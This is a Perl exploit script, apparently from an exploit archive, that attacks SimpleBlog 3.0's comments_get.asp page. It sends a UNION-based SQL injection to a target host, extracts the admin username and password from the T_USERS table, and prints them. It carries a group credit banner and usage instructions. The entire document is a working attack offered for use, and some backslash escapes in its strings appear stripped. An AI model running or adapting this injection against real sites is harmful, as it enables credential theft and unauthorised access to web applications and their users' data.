#!/usr/bin/perl

#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
#              SimpleBlog 3.0 [ comments_get.asp ]               #
#                    ] Remote SQL Injection [                    #
#                                                                #
#              [c]ode by TrinTiTTY [at] g00ns.net                #
#                 Vulnerability by MurderSkillz                  #
#                                                                #
#      shoutz: z3r0, kat, str0ke, rezen, fish, wicked, clorox,   #
#              Canuck, a59, sess, bernard, + the rest of g00ns   #
#  [irc.g00ns.net]       [www.g00ns.net]        [ts.g00ns.net]   #
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#

use LWP::UserAgent;

$host = @ARGV[0];
$ua = LWP::UserAgent->new;

my $inject ='comments_get.asp?id=-99%20union%20all%20select%201,2,uUSERNAME,4,uPASSWORD,6,7,8,9%20from%20T_USERS';

if (@ARGV < 1){&top( );&usage( )}
elsif ($host =~ /http:///){print"nn [-] Don't use http:// in hostn";exit( 0 );}
else { &xpl( ) }
sub xpl( ) {
  &top( );
  print "n [~] Connectingn";
  $res = $ua->get("http://$host/$inject");

  $con = $res->content;
  print "n [~] Checking for admin infon";
  if ($con =~ /<strong>([-_+.w]{1,15})</strong>/gmi)
  {
     print "nt [+] Admin user: $1n";
  }
  if ($con =~ /<a href="http://(.*)" target="_blank">(.*)</a>/gmi)
  {
     print "nt [+] Admin password: $2n";
     print "n [+] Completen";
  }
  else {
      print "n [-] Unable to retrieve admin infon";
      exit(0);
  }
}
sub top( )
{
  print q {
  ##################################################################
  #             SimpleBlog 3.0  [ comments_get.asp ]               #
  #                    ] Remote SQL Injection [                    #
  #                                                                #
  #                [c]ode by TrinTiTTY [at] g00ns.net              #
  #                   Vulnerability by MurderSkillz                #
  ##################################################################
  }
}
sub usage( )
{
  print "n Usage: perl simpleblog3.pl <host>n";
  print "n Example: perl simpleblog3.pl www.example.com/pathnn";
  exit(0);
}

# www.Syue.com [2007-07-28]